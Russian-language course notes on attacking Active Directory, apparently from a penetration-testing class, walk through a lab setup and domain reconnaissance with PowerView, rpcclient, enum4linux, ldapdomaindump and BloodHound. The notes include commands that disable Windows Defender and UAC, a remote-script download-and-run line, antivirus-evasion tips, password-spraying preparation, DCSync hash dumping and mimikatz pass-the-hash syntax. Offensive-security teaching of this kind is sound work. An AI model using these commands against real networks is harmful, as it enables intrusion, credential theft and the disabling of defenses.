# AD Network Infrastructure attack Роман Алферов - преподаватель # Занятие 10. Атаки на AD. Разведка. 29.06.2022 (Роман Алферов) Просьба к занятию в среду подготовить небольшой локальный стенд для атак на AD: 1. Создать лес с корневым доменом lab.local, в домене lab.local должен быть как минимум 1 DC (Windowss Server 2019), 1 сервер (Windows Server 2019) и 1 рабочая станция (Windows 10). В лесу lab.local создать домен test.local (1 DC). 2. На контроллере домена lab.local выполнить след. скрипт: IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1")); Invoke-VulnAD -UsersLimit 100 -DomainName "lab.local" 3. Иметь недоменную Windows 10 и машину с Kali Linux в той же сети. Еще просьба на доменной и недоменной Windows 10 поставить RSAT: Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online Еще просьба на доменной и недоменной Windows 10 поставить RSAT: Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online _________ ![](https://i.imgur.com/OiK4Lul.png) ## методология проведения атак на AD 1.Domain enumeraton - cбор данных о домене (лесе) 2. Повысить привилегии в домене (с обычного пользователя до xelp desk, админ серверов, домен админ , вертикальное повышение привилегий) 3. Закрепление, сохранение присутствия 4. Атака других доменнов, связанными доверительными отношениями, развиваем атаку ![](https://i.imgur.com/O4xbv3b.png) ## Основные понятия AD directory - Каталоги (база данных - некая иерархическая структура хранит информацию о объектах) Active Directory- Служба каталогов и сервисы, которые делают доступными информацию для других пользователей : **ldap** Objects - любые сущности объекта (имена, пароли, набор атрибутов) shema - описание классов объекта (какой класс объектов имеет определенный набор атрибутов) domains - коллекция административных обектов которая определяет политики безопасности доверительные отношения - административная граница для объектов domain tree - Доменное дерево. структура состоящия из нескольких доменов и формирующая единое простанство имен forest - Лес. несколько деревьев пространства имен связаны доверительными отношениями с корневым доменом trust relationship -доверительные отношения - возможность пользователю одного домена подключаться к другому домену, получать доступ к другому домену ![](https://i.imgur.com/z3nwGJ0.png) ![](https://i.imgur.com/QN1hH0c.png) ![](https://i.imgur.com/isxaOfv.png) ![](https://i.imgur.com/rCEItAM.png) доп инфа ![](https://i.imgur.com/H9wR4gP.png) Список ресурсов для изучения АД. Обязательно Обращаться сюда по мере необходимости Нам понадобится Active Directory **Core Concepts** https://adsecurity.org/?page_id=41 ## Сбор информации ручной и автоматический ![](https://i.imgur.com/85ltAy9.png) ## Инструменты ![](https://i.imgur.com/50EP2NI.png) **Классика инструментов под Виндовс** * AD module (больше используют администраторы) * PowerView (повершелловский скрипт для получения информации) PowerView - используют пентестеры RSAT - удобная работа в графике с АД ADwxplorer - LdapAdmin - утилита для работы с ldap ADIDNSRecords - инструмент для получения записей из active directory integrative DNS Автоматическое получение инфы AD explorer- dump AD BloodHound ADRecon - повершелловский скрипт **Инструменты под Линукс** ldapsearch - позволяет конструировать запросы **rpcclient** - классика Автоматические Bloodhound-python enum4linux - основные ldapdomaindump - основные ## Команды ADmodule & PowerView ручное тестирование https://hackmd.io/@Mart/HJqJ4NDjq ## LABA DC1 vulnerable - удалить баннер / скопировать из RAW формата и вставить запускаем повершелл в режиме байпасс импортируем . .\vulnad.ps1 ![](https://i.imgur.com/OHj9QHy.png) этот скрипт создает пользователей и пароли ВВодим в домен ![](https://i.imgur.com/d1yUp7Y.png) ![](https://i.imgur.com/SWJN72R.png) Скрипт для создания структуры с ОU https://adsecurity.org/?page_id=41 оснастки ![](https://i.imgur.com/xVsqCZB.png) Server Manager - tools / win+r - вводим mmc - file - add/remove Snap-ins и добавляем оснастки (можем сохранить потом с ним работать) ![](https://i.imgur.com/Fe6yDeL.png) прежде чем вводить в домен, сначала надо найтись ![](https://i.imgur.com/SSYis6u.png) в настройках днс сервера надо вписать айпи ДК1 , иначе имя не зарезолвится ![](https://i.imgur.com/b4ZTGZt.png) ## powerview https://github.com/PowerShellMafia/PowerSploit во второй версии будут команды начинатся с net Мы будем работать с 3 версией импортируем powerview PowerView по большей части использует ldap или rpc **Function powerview** https://powersploit.readthedocs.io/en/stable/Recon/README/ При запуске PowerView.ps1 вышла ошибка запрещения скриптов повершелл Чтобы разрешить выполнение файлов с расширением .ps1 Set-ExecutionPolicy unrestricted ![](https://i.imgur.com/VgTMtLE.png) ![](https://i.imgur.com/oYFv2V7.png) windows defender отключить win+R cmd от администратора gpedit.msc Windows defender antivirus Turn Off ![](https://i.imgur.com/kJ13CFI.jpg) **либо отлючаем через реестр HKEY** win+r regedit.exe ``` Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender] "DisableAntiSpyware"=dword:00000001 "DisableAntiVirus"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection] "DisableRealtimeMonitoring"=dword:00000001 ``` ## Domain get-domain - иформация о домене ![](https://i.imgur.com/FGc4fta.png) **Ставим ADmodule** github nishang AD module https://github.com/samratashok/ADModule ![](https://i.imgur.com/Mj8u0zv.png) Пишем 2 команды и модуль работает * PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose * PS C:\> Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1 ![](https://i.imgur.com/ynVweis.png) Либо ставим **RSAT** ![](https://i.imgur.com/nBTV7Z9.png) get-help **Настраиваем пересылку** на ДК server manager - tools - DNS - Conditional Forwaders ![](https://i.imgur.com/tKpQXBx.png) Настраиваем Сonditional Forwarder ![](https://i.imgur.com/eOSn6J4.png) Получаем информацию о домене с которым доверительные отношения test.local Get-DomainSID - получаем сид текущего домена Get-ADDomain ![](https://i.imgur.com/eLuVgKc.png) Информация о другом домене * Get-addomain -identity test.local ![](https://i.imgur.com/OQs9tgL.png) Get-DomainPolicy - какие парольные политики настроены (позволяет соориентироваться при **атаке Password spraying**) https://spy-soft.net/tools-for-password-spraying-attacks/ ![](https://i.imgur.com/jFMxzwc.png) LockoutBadCount=0 - аккаунты не блочатся Парольные политики помогают соориентироваться какие пароли в АД Парольные политики хранятся в **default domain policy - получаем через SMB** (хранится в груповой политике , а не в ldap) PowerView работает через ldap на порту 389 ![](https://i.imgur.com/CKB37i4.png) ADModule использует порт 9389 (active directory web services) ![](https://i.imgur.com/01awLMs.png) Использует SMB - Идет на шару, парсит групповую политику default domain policy и вытаскивает парольную политику ![](https://i.imgur.com/8UXvkyi.png) (Get-DomainPolicy).systemaccess **Отключить Windows defender через powershell** от имени админа Set-MpPreference -DisableRealtimeMonitoring $true Получение домен контроллеров Get-DomainController ![](https://i.imgur.com/qx3bK0R.png) Чтобы найти ДК - машина всегда будет смотреть в ДНС (таким способом пользуются рабочие станции для поиска домен контроллера, ищут dns запись типа srv) ![](https://i.imgur.com/QI4V3X1.png) Можно через nslookup nslookup -type=SRV _ldap._tcp.dc._msdcs.lab.local ![](https://i.imgur.com/ihCawib.png) Это самый правильный способ поиска ДК на пентесте ## Пользователи Получение пользователей Get-DomainUser ![](https://i.imgur.com/iDGm6kw.png) Get-DomainUser -Properties samaccountname - покажи свойство только имена пользователей ![](https://i.imgur.com/kjvr2wN.png) выводим свойства конктретного юзера Get-DomainUser -Identity user ![](https://i.imgur.com/1eq0X4y.png) А еще можно открыть остастку Active Directory Users and Computers Еще можно открыть эту оснастку win+r dsa.msc View - Advanced Features - расширенные свойства Во вкладке Attribute editor смотрим аттрибуты которые есть у пользака ![](https://i.imgur.com/A2GfYZ0.png) Свойства АД юзеров (краткая инфа) * Get-ADUser -Filter * Расширенная инфа о юзерах * Get-ADUser -Filter * Properties * Если свойства не помещаются в экран будут ... , для этого вводим (-ExpandProperty) * Get-domainuser -Properties samaccountname | Select -ExpandProperty samaccountname (имена всех польз) Имена пользователей с выводом в файл для атаки Password Sprating (создали словарь) * C:\Tools\ADModule> Get-domainuser -Properties samaccountname | Select -ExpandProperty samaccountname | Set-content usr.txt ![](https://i.imgur.com/X2oT9v8.png) Получение информации о компьютерах (машинных учетных записей) Можно извлечь хэш машинной учетной записи из хранилища lsa secrets и использовать для аутентификации в домене ## Компьютеры Получить список доменных машин * Get-DomainComputer -Properties dnshostname ![](https://i.imgur.com/a5yFpUJ.png) Фильтруем по операционной системе * Get-DomainComputer -OperatingSystem "*Server 2019*" -Properties dnshostname Аналогично есть и у АД модуля ## Группы C помощью powerview можем получить информацию о группах (группы используются при разграничении доступа, так же могут использоваться фильтры групповых политик) * Get-DomainGroup ![](https://i.imgur.com/vzIHgC5.png) Вывод информации о конкретной группе * Get-DomainGroup "domain admins" ![](https://i.imgur.com/uWWr0Ua.png) В поле memberof видим членов этой группы Получить все группы конкретного пользователя * Get-DomainGroup -UserName user | select samaccountname ![](https://i.imgur.com/DrQiGh7.png) Аналогичные команды есть у АД модуля Группы в которой содержатся все админ * Get-DomainGroup "* admin*" -Properties samaccountname ![](https://i.imgur.com/VIs5FkZ.png) Кто входит в какую группу * Get-DomainGroupMember "domain admins" ![](https://i.imgur.com/DRYCAuO.png) Лучше делать Рекурсивно - кто входит в группу * Get-DomainGroupMember "domain admins" -Recurse | select -expand membername (expand - полностью показать имя) ![](https://i.imgur.com/orkVKoI.png) Эти команды будут получать ответ через ldap А можно через встроенную утилиту NET, через RPC(удаленный вызов процедуры), summer protocol - получить инфу о членстве в группах * net group "domain admins" /domain ![](https://i.imgur.com/rHvQ2iT.png) **Лучше использовать ldap - он менее подозрительный**, так как протокол summer не любят IDS и дает аллерты. ![](https://i.imgur.com/wXDgOll.png) Вызываем функцию enumDomainUsers на домен контроллере, прошли аутентификацию(керберос) и получаем список доменных юзеров SAMR удаленно идет в память процесса Lsass - библиотека SecurityAccountManager- SAM dll (как будто на этой машине, но по сети дергаем) - но это очень палевно (он юзает 445 порт) Запрос парольной политики * net accounts /domain ![](https://i.imgur.com/cyGjcXJ.png) Перечесление групп на удаленной машине Получить группы локальные на (если есть права администратора) - через протокол summer на powerview * Get-NetLocalGroup -ComputerName srv1 ![](https://i.imgur.com/TEgKrou.png) ## Групповые политики (используются для раскатки различных настроек на машинах) позволяют управлять конфигурациями компьютеров, параметрами безопасноти. Находятся в реестре - win+r - regedit Применимые на пользователя хранятся в HKEY_CurrentUser -текущий пользователь (подветка Hkey_local_machine) Групповые политики применяются на ОU (папки- группировка объектов) ![](https://i.imgur.com/AepUHY6.png) ![](https://i.imgur.com/ZZmy2lH.png) Поигрались с групповыми политиками, добавили юзера sales в администраторы на пк client1 **Default DOmain Policy** находятся парольные политики Через АД модуль групповые политики нельзя смотреть. Через **PowerView** можно смотреть названия, информацию, на кого они действуют , но нельзя смотреть настройки. Вывод списка груп политик * Get-DomainGPO | select displayname ![](https://i.imgur.com/InqfTgZ.png) Добавляем в группу кого-то еще В локальной группе администраторов находятся * net localgroup administrators Добавили юзера sales в группу администраторов в политике ![](https://i.imgur.com/9r7sa1J.png) ![](https://i.imgur.com/LhUlpay.png) **Обновление групповых политик** * gpupdate /force Групповые политики хранятся в папке * \\lab.local\sysvol **sysvol - сетевая папка** ![](https://i.imgur.com/sPJn8u8.png) ![](https://i.imgur.com/9TkvDJb.png) Подробная информация о политиках * Get-DomainGPO Показывает путь, где находится политика ![](https://i.imgur.com/xc0klE6.png) Открыли политику ![](https://i.imgur.com/v6EbMLk.png) Через свойство GPlink она привязывается к ОU Через Restricted groups мы раскатали локальных админов и в групповых политиках отражается наша созданная политика * Get-domaingpolocalgroup ![](https://i.imgur.com/UiT642a.png) Конвертирует сид в имя * Convert-SidToName ____имя sid Кто есть в локальных админах на конкретном компе * Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity ![](https://i.imgur.com/PbmVeE1.jpg) Посмотреть на каких компах админ этот пользователь * Get-DomainGPOUserLocalGroupMapping -Identity sales -Verbose парсит gpo & restricted group и смотрит в какие локальные компьютеры его добавили в группу админстраторов через политику WS_Asmins ![](https://i.imgur.com/4Nkok0v.jpg) Политики для конкретного компа * Get-NetGPO -Computername srv1 | select displayname ![](https://i.imgur.com/E0UoRaf.png) **Еще важно на пентесте:** **Получить список всех груп политик** * Get-DomainGPO **Настройки** (оснастка gpmsc не заработает) В этом случае на повершелле есть сохранение всех групп политик с настройками в html * Get-gpoReport -all -reporttype html -path c:\all_gpos.html сохраняет все груп политики локально ![](https://i.imgur.com/voiZR6D.jpg) ![](https://i.imgur.com/7w1i17J.png) ![](https://i.imgur.com/2OFP5eN.png) Можно этот файл спарсить * Get-help get-gporeport - справка по гпо репорт Можно с недоменной тачки сдампить груп политики указав домен и сервер Можно сохранить save report или сбэкапить груп политики (если есть gpmc) - Group Policy Objects - BackUp (cохранит папку и потом можно у себя восстановить ее) ![](https://i.imgur.com/Wri492N.png) ## OU (organizational unit) Все ОУ * Get-DomainOU | select name ![](https://i.imgur.com/yZUM0kb.png) При введении команды Get-DomainOU можем увидеть gplink, в которой есть номер ее. Через идентификатор получим его GPO ![](https://i.imgur.com/72x0GvS.png) ПОлучить gplink определенной ОУ * (Get-DomainOU -Identity Workstations).gplink ![](https://i.imgur.com/MPkX61L.png) ## ACL - access list У каждого объекта есть дискриптор безопасности- структура данных, который используется при авторизации (проверки) доступа субъекта к объекту. ![](https://i.imgur.com/ap2QoUU.png) В дисктрипоторе безопасности есть структура - **Dacl, Sacl** Dacl - дискриптоционный список контроля доступа (используется для определения кто и по каким меткам имеет доступ к объекту(файл, процесс и тд)) - при осуществлении доступа субъекта к объекту проверяется DACL, дискриптор защиты (совокупность всех ace - состоит из типа, security principal, прав доступа) Sacl - system access control Это DACL (совокупность всех асе) ![](https://i.imgur.com/efvG88Y.png) а это все асе ![](https://i.imgur.com/blNpCwb.png) ![](https://i.imgur.com/K4yTCCm.png) Показывает все права доступа конкретного субъекта (юзера) применяемые к конкретному объекту ![](https://i.imgur.com/aH3kKKI.png) Смотрим для группы домен админ АЦЛ * Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose ![](https://i.imgur.com/3KsH6Np.jpg) Все пользователи которые имеют опасные права на объект домена ``` Get-ObjectACL "DC=lab,DC=local" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'GenericWrite') -or ($_.ActiveDirectoryRights -match 'WriteDacl') -or ($_.ActiveDirectoryRights -match 'WriteOwner') -or ($_.ActiveDirectoryRights -match 'WriteProperty') -or ($_.ObjectAceType -match 'Replication-Get') } | sort SecurityIdentifier -Descending -unique | select SecurityIdentifier | foreach {$_.SecurityIdentifier} | Convert-SidToName ``` ![](https://i.imgur.com/FASRomj.png) Опасные права ``` Get-ObjectACL -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'GenericWrite') -or ($_.ActiveDirectoryRights -match 'WriteDacl') -or ($_.ActiveDirectoryRights -match 'WriteOwner') -or ($_.ActiveDirectoryRights -match 'WriteProperty') -or ($_.ObjectAceType -match 'Replication-Get') } | select SecurityIdentifier,objectdn,ActiveDirectoryRights | foreach { 'Subject: {0} --- Object: {1} --- Right: {2}' -f (Convert-SidToName $_.SecurityIdentifier), $_.ObjectDN, $_.ActiveDirectoryRights} ``` Поиск интересных access list в домене (ищет нестандартные ацл) * Find-InterestingDomainAcl -ResolveGUIDs ![](https://i.imgur.com/82nPQGZ.png) ![](https://i.imgur.com/sgsTKEH.png) Можно считать что этот польз - домен админ. (нашлись права репликации - вытаскивание хэшей всех учетных записей домена) - это мисконфиг / уязвимость / польз имеет право как домен админ/ дамп хэшей ntds Опасные права для определенного юзера * Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "user"} Можно получить ацл для объекта в ад модуле * Get-ACL 'AD:\CN=Domain Admins,CN=Users,DC=lab,DC=local' | select -ExpandProperty Access Чтобы сдампить все ntds нам надо 2 права -replication getchanges/ getchangesall ![](https://i.imgur.com/EZ3Ae3j.jpg) Можем сделать атаку через secretsdump Все хэши сдампили ![](https://i.imgur.com/lwjvKdE.png) # Занятие 11 04.07.22 ## ACL Продолжаем разведку в АД ![](https://i.imgur.com/SMgxx95.jpg) Раскрываем право Extended right Extended rights Как работает Акцесс листы и АД https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf Существуют 2 типа асе: Generic ACE, Object-specific ACE ![](https://i.imgur.com/9JXdfhU.png) Generic ACE: размер, тип, флаги, маска доступа аце, СИД Generic-specific ACE - размер, тип, флаги, маска доступа, object type (важное поле)(содержит ГУИД(определенный идентификатор) который определяет в маске доступа - какое расширенное право в этом аце прописано) Сама маска - 32 битное число ![](https://i.imgur.com/8Bdl6PK.png) Выставляя отдельные биты -буде давать определенные права доступа Generic ALL (10000000) ![](https://i.imgur.com/0cOXoaj.png) Object-specific - DS Control access - Это называется **Extended right** ![](https://i.imgur.com/4vq527C.png) Получим сид пользователя elka diana ![](https://i.imgur.com/Yf6KMDq.png) Получим ACL объекта домена и отфильтруем асе по идентификатору пользователя (в моем случае вместо elka будет kellie) * $kellie_sid = Get-DomainUser kellie* | select -ExpandProperty objectsid * $kellie_sid И фильтруем (получаем objeckACL для объекта домена и фильтруем те асе у которых значение поля securityidentifier с сидом пользователя) * Get-DomainObjectAcl "DC=lab,DC=local" -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $kellie_sid} ![](https://i.imgur.com/L7Vqsw1.png) ![](https://i.imgur.com/Bcf2c98.png) Поле **objectAceType** Вот здесь guid и PowerView транслировал его в название ![](https://i.imgur.com/WQIDbv2.png) ![](https://i.imgur.com/1WZnvEx.png) **3 права дают делать DCsync** - репликацию АД getchanges, getchangesall, getchanges-in-filtererd-set Aтака DCsync https://spy-soft.net/dcsync/ ``` Для атаки DCSync необходимы специальные права. Любой член групп «Администраторы» и «Администраторы домена», а также учетных записей компьютеров контроллера домена может выполнить репликацию данных, используя протокол репликации каталогов DRS. Таким образом клиентский DC отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC. DS-Replication-Get-Changes — это разрешение необходимо для репликации только тех изменений, которые также реплицированы в глобальный каталог. DS-Replication-Get-Changes-All — разрешение позволяет репликацию всех данных. ``` Получаем ACЕ без резолва гуид (работает от ADModule) * (Get-acl 'AD:\DC=lab,DC=local').Access ![](https://i.imgur.com/Pxm24G6.png) Можем посмотреть в ADUC (Active Directory Users and Computer) lab.local -> properties -> security -> advanced ![](https://i.imgur.com/e24oxiu.jpg) GUI утилита уже разрезолвила гуиды В совокупности эти права дают право делать DCSync Получаем список групп локальных от имени лаб/юзер * Get-NetLocalGroup -ComputerName srv1.lab.local -verbose ![](https://i.imgur.com/coAQ9xY.png) ДОбавляем юзера в локальные админы через консоль * net localgroup administrators user /add ![](https://i.imgur.com/dni2ukT.png) ![](https://i.imgur.com/FGiP6Il.jpg) По поводу обхода антивирусов, у нас есть папки с исключениями, которые можно в ГУИ посмотреть - туда копируем то что нужно и ниче не палится. Либо антивирус отключить нажав на выход процентов 70% такое бывает. Чтобы **не палился PowerView** дефендерем - переименовываем метод / **убираем комментарий из скрипта** - самая простая обфускация ## Доверительные отношения Отношения между 2 доменами или лесами позволяющие одному домену/лесу получать доступ к ресурсам в другом домене / лесе с его учетными записями( после аутетификации они попадут в группу autentificated users) https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773178(v=ws.10) Есть автоматические и Вручную установленные **Направления доверительными отношениями** **One way trust** ![](https://i.imgur.com/U4GKfZl.png) Направление доступа обратно направлению траста ![](https://i.imgur.com/3Fvwvo2.jpg) **two-way-trust / Bidirectional** ![](https://i.imgur.com/lwJHav2.png) Транзитивность - доверительные отношения доверяют домену. Домен А доверяет В, а домен В доверяет С, значит А доверяет С. Могут быть транзитивные отношения В лесу и не в лесу ![](https://i.imgur.com/JWZBRnv.png) Нетранзитирвность - польз домена А не доверяют польз домену С В лесу бывают **tree-root trust** доверительные отношения с корневым доменом леса , **parent-child trust** дов.отнош. между доменом родителем и доменом дочерним - они вдусторонние транзитивные (автоматически формируется внутри леса.) Какие отношения бывают не в лесу ![](https://i.imgur.com/gj7IktS.png) это автоматические довер отношения - tree root, parent-child 1 домен в лесу - корневой **Ручные трасты** External trusts могут быть односторонние и двусторонние (довер отношения между доменами в разных лесах) - нетранзитивность ![](https://i.imgur.com/WJe9JYL.png) Можем в ручную настроить **Forest trust** Делается между корневыми доменами , он устроен так что направления могут быть one-way/ two-way , но эти дов отношения между лесами *не транзитивные* ![](https://i.imgur.com/QTboMi8.png) Есть 3 типа групп - локальные, универсальные, глобальные. Глоб, универс - могут использоваться для довер отношений в рамках лесов. Изучить подробно на сайте майкрософт **Инструменты**, которые могут это перечислять PowerView ADModule Доверительные отношения * Get-DomainTrust ![](https://i.imgur.com/YuTMiZo.png) Имеем доверительные отношения между доменами, Trust - Forest, Bidirectional Доверительные отношения для другого домена * Get-DomainTrust -Domain test.local (в днс настраивали conditional forwarder in DNS Manager) ![](https://i.imgur.com/lM1O24H.jpg) ![](https://i.imgur.com/tMcwxU3.png) ![](https://i.imgur.com/y7SIs2D.png) все равно не хочет принимать наш днс сервер Доверительные отношения для текущего домена ![](https://i.imgur.com/exx7DTb.png) Для **АД модуля** * Get-ADTrust -Filter * * Get-ADTrust -Filter * -Server test.local ![](https://i.imgur.com/MMRevzS.png) * ncpi.cpa - открывает интернет адаптеры ![](https://i.imgur.com/br9Nr59.png) * powershell -ep bypass - запуск консоли повершелл * ipconfig /flushdns - очистить кэш ДНС ## Лес Инфа о текущем лесе * Get-Forest ![](https://i.imgur.com/MPlXPyc.png) Домены в лесу * Get-ForestDomain ![](https://i.imgur.com/ymHDrIh.png) АДМодуль Информация про лес * Get-ADForest ## Сессии пользователей (кто куда залогинен) PowerView & BloodHound могут дергать разные ручки(api) на компьютере и спрашивать кто залогинен на машине. Вписать команды и обознанчение ![](https://i.imgur.com/k0MuQFz.png) 4 ручки - RPC * Поиск залогиненных юзеров: 1. Get-LoggedOnLocal ~ Get-RegLoggedOn (появляется ключ новый в реестре, в удаленном реестре есть имя пользователя) 2. Get-NetLoggedon (adm) (вошли в систему - сессия lsas) 3. Get-NetSession (smb сессия) 4. Get-LastLoggedOn –ComputerName <servername> (adm) ![](https://i.imgur.com/93yAhZy.png) БладХаунт использует эти 3 Заенумим пользователя выполнившем вход на сервер Смотрим трафик и какие ручки дергаются На DC1 вошли под админом, на 10 смотрим ваершарк смотрим сессии * ![](https://i.imgur.com/MB2tHbI.png) ![](https://i.imgur.com/HMXl8Te.jpg) Дергаем функцию NetSessEnum - но ошибку вернул Инициируем сессию на ДК ![](https://i.imgur.com/gonN7yj.png) Предварительно вошли на сервер под локальным админом **SMB сессия** - пключаемся к шаре с одной машины на другую ______ **Rpc client commmands** https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html _____ Входим под доменной учеткой LAB\Adminixtrator - домен админ Показал куда залогинен (запуск от админа) * Get-NetLoggedon -ComputerName srv1.lab.local -verbose ![](https://i.imgur.com/esPBcmX.png) **Удаленный реестр служба** win+R services.msc Remote regestrty - запустили Дергает функцию NetWkstaEnumUsers , нам возвращаюсь список залогиненных пользователей ![](https://i.imgur.com/oYAb7Yi.jpg) Получаем список всех компов в домене и заенумим сессии Get-DomainComputer | Get-NetSession -Verbose ![](https://i.imgur.com/lfRrXC2.png) ![](https://i.imgur.com/BGCkdZb.png) через удаленный реестр regedit открывает HKEY_USERS, енумит ключи, конвертит сид в имя пользователя * convert-SidToName ![](https://i.imgur.com/YvCUjkc.png) ## DNS Когда мы поднимаем АД, прописываем ДНС зоны, то они хранятся в АД ADIDNS - показывает что прямо в ад хранит зоны https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/ DNS записи в Актив Директори ->Sever Manager -> ADSI Edit -> Connect to -> Connection setting -> Вбиваем свой поинт(раздел для подключения) ![](https://i.imgur.com/6KcUO1S.png) ![](https://i.imgur.com/8nszwxY.png) DNS В active directory ![](https://i.imgur.com/MyX8rZu.jpg) Любой доменный польз может добавить ДНС запись и читать, но не удалять ( обычно разрешают читать, а добавлять только компам) ![](https://i.imgur.com/xv5JYtp.png) ![](https://i.imgur.com/8RMnOwl.png) Мы можем зону everyone сдампить **Утилитки под линукс** Можем сдампить зону любым доменным польз **adidnsdump** https://github.com/dirkjanm/adidnsdump Install ![](https://i.imgur.com/rnvXmAb.jpg) ![](https://i.imgur.com/UqPDMe1.png) adidnsdump -u lab/user -p 'Password' IP ![](https://i.imgur.com/7msvvQk.png) **Утилита под винду** **ADIDNSRecords** https://github.com/dev-2null/ADIDNSRecords/ Сдампим все ДНС записи в файл * .\ADIDNSRecords.exe all > records.txt ![](https://i.imgur.com/RWUgFSo.png) ![](https://i.imgur.com/xLPdhDn.png) ![](https://i.imgur.com/sJq0Vrd.png) ![](https://i.imgur.com/zImWnrv.png) C доменной учетки прошла аутентиф и вытащила записи Подключается к LDAP и вытаскивает (389 порт) ## Команды AD recon https://hackmd.io/@Mart/B1EUnUPjq Как с недоменной виндовой машины все тоже самое делать: В качестве днс мы указали домен контроллер (который позволит разрезолвить srv записи и получить адреса домен контроллеров )- сканим порт 53 и узнаем( обычно по дхцп днс сервер мы получим) win+r -> ncpa.cpl (сетевые подключения) **Runas** * runas /USER:DOMAIN.LOCAL\user /netonly "powershell -ep bypass" netonly - аутентификационные данные будут использоваться только при сетевом доступе Если не отрабатывает команда и нет подключения к домену, то включен UAC (https://geekon.media/zachem-nuzhna-uac-w10-11848/) Отключить можно командой * C:\Windows\System32\cmd.exe /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f ![](https://i.imgur.com/0U9hcO6.png) ![](https://i.imgur.com/B9MUE2O.png) * Get-DomainUser -Properties samaccountname * klist -Инфа о тгт билетах ![](https://i.imgur.com/Bff1c37.png) ! Главное смочь найти домен контроллеры и днс сервер * get-addomain -server lab.local (ад можулю надо подсказывать имя домена/сервера) ![](https://i.imgur.com/8X2aSr7.png) **ЗАпуск Оснасток** - не будут работаать все * mmc /domain=lab.local ->file -> Add or Remove Snap-in ![](https://i.imgur.com/yMuSkuJ.png) Добавим оснастки ![](https://i.imgur.com/uS6mhU6.png) Можно посмотреть доверит отношения из сhange forest -> lab.local - properties - trust ![](https://i.imgur.com/6mTcSac.png) Сверху - исходящий траст Снизу - входящий Если эта тачка была бы в другом лесу - то нам надо выбрать view - options - поставить галочку - игнорировать доверительные отношения и заработают Групповые политики C помощью **mimikatz** можем подкидывать хэш вместо пароля https://www.cobaltstrike.com/blog/how-to-pass-the-hash-with-mimikatz/ * sekurlsa::pth * sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND C опцией credencial PowerView * Get-netDomain -credential LAB\user ![](https://i.imgur.com/SZr3i5Y.png) # Автоматические инструменты ## AD explorer скачать можно с офиц сайта майкрософт https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer ![](https://i.imgur.com/mNPkeBx.png) ![](https://i.imgur.com/wWxeriM.png) ![](https://i.imgur.com/tfYTDmk.png) Можем добавить атрибут юзеру / удалить атрибут/ искать / сдампить ![](https://i.imgur.com/nDgla2t.png) ![](https://i.imgur.com/9ddrEJi.png) ![](https://i.imgur.com/dHCfAlI.png) Нашли польз у которого пароль есть в дискрипшн ![](https://i.imgur.com/c0x1qip.png) Нашли все объекты Можем сдампить - через сохраниение Всегда сохранять в файл инфу. ## **Под линукс** ### RPC client - дергает rpc в кали https://www.hackingarticles.in/active-directory-enumeration-rpcclient/ Укажем в sudo /etc/resolv.conf - днс сервера * rpcclient -U lab/user%'1234' 192.168.183.101 ![](https://i.imgur.com/fzQ16U8.jpg) Получаем через РПС всех доменных польз * enumdomusers Дернули api enumdomainusers - все юзеры ![](https://i.imgur.com/sVw8zOe.png) Получили все группы * enumdomgroups ![](https://i.imgur.com/Nt9Uolm.png) ### **Enum4Linux** **Обертка на РПС клиент** (она знает ручки rpc и сама их дергает) * enum4linux -a -u user@lab.local -p '1234' 192.168.183.101 все вытащил -a енумим все -u user -p password ![](https://i.imgur.com/sRdhQko.jpg) Пишем это в файл и Можно потом погрепать * enum4linux -a -u user@lab.local -p '1234' 192.168.183.101 > res.txt * cat res.txt | grep -i pass ![](https://i.imgur.com/QYWltRV.png) ### Linwinpwn Альтернатива от Исраэля ``` Я на работе использую **linwinpwn** в виде автоматического рикона ``` https://github.com/lefayjey/linWinPwn ### **Ldapdomaindump** - супер классика https://github.com/dirkjanm/ldapdomaindump * pip install ldapdomaindump ![](https://i.imgur.com/XJbPFtx.jpg) Указываем домен, пользователя, пароль * ldapdomaindump -u LAB\\user -p '1234' 192.168.183.101 ![](https://i.imgur.com/cGM5MQK.png) ![](https://i.imgur.com/gaI2KkF.jpg) Сдампил многоо инфы - можно грепать и смотреть (например через браузер) * firefox domain_users.html ![](https://i.imgur.com/PSdj7kF.jpg) Доверительные отношения ![](https://i.imgur.com/8qjoy6R.png) **Самое классное что это есть в grep , json формате (jq -r и любой атрибут парсим)** *Препод всегда дампит через ldapdomaindump, adexplorer, bloodhound, парсинг политик через powershell в html вручную* ### **BloodHound** https://github.com/BloodHoundAD/BloodHound Wiki ![](https://i.imgur.com/CdGTOUT.png) https://bloodhound.readthedocs.io/en/latest/index.html Cтавим под винду скачиваем **Oracle jdk** (потому что на java написано) Используем 11 версию OpenJDK https://docs.microsoft.com/en-us/java/openjdk/download#openjdk-11 Cккачиваем **neo4j** - распаковываем ![](https://i.imgur.com/bgnDXbZ.png) Далее заходим в папку bin Запускаем powershell en by (ставим его не как сервис, чтобы мы видели ошибки) ![](https://i.imgur.com/injjiqm.png) 